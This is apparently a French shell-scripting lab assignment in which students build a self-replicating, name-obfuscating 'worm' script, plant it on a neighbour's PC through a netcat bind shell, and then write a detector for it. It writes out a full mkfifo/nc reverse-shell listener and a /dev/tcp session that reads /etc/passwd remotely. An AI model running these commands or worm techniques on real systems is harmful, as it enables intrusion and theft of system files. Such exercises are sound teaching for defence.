TP script shell

Worm script

Créez un script, type worm, réalisant les opérations suivantes :

1. Il peut se répliquer dans tous les dossiers du système
    1. Limitez le nombre de copies à 100
    2. Les copies ne pourront pas être lues
2. Pour chaque copie, son nom sera complètement modifié, sans ressemblance entre les copies
3. Le script créera 1000 fichiers vides, dans le répertoire où il est
4. Vous créerez également une fonction cachée qui supprime toutes les copies du script et tous les fichiers créés

Backdoor

Dans cette partie, vous allez exécuter votre script sur le poste de votre voisin.

Modifiez le script worm pour laisser une pause de 10 secondes entre chaque duplication du script, et une pause de 3 secondes toutes les 10 créations de fichiers vides.

Considérons les 2 postes PC1 et PC2. PC1 va laisser son script sur le PC2 via une connexion TCP. Pour cela :

1. Sur PC2, créez une écoute TCP qui exécutera un /bin/sh. Exemple d'utilisation (cf le manuel de nc) :
    1. PC2$ **mkfifo /home/user/backdoor_connection; cat /home/user/backdoor_connection | /bin/sh -i 2>&1 | nc -k -l 0.0.0.0 2406 > /home/user/backdoor_connection**
2. Sur PC1, déployez et exécutez votre script sur PC2 en utilisant un autre script et le descripteur de fichier 6

Exemple d'utilisation du backdoor_connection depuis PC1, qui affiche le contenu du fichier /etc/passwd :

1. PC1$ **exec 6<>/dev/tcp/IP_PC2/2406**
2. PC1$ **echo « cat /etc/passwd » >&6**
3. PC1$ **cat <&6**

Pour fermer la connexion TCP sur le port 2406 sur PC1 :

1. PC1$ **exec 6>&-**

Sur PC2, créez un script « detect_worm.sh » qui tentera de détecter la connexion de PC1, la création du script worm, l'exécution du script worm, et qui permettra de le bloquer au plus vite.

Bonus

Ajouter la gestion multithread au script worm pour qu'il détecte le nombre de processeur ou de cœurs disponibles, et qu'il exécute autant de création de fichier en parallèle que de nombre de cœurs.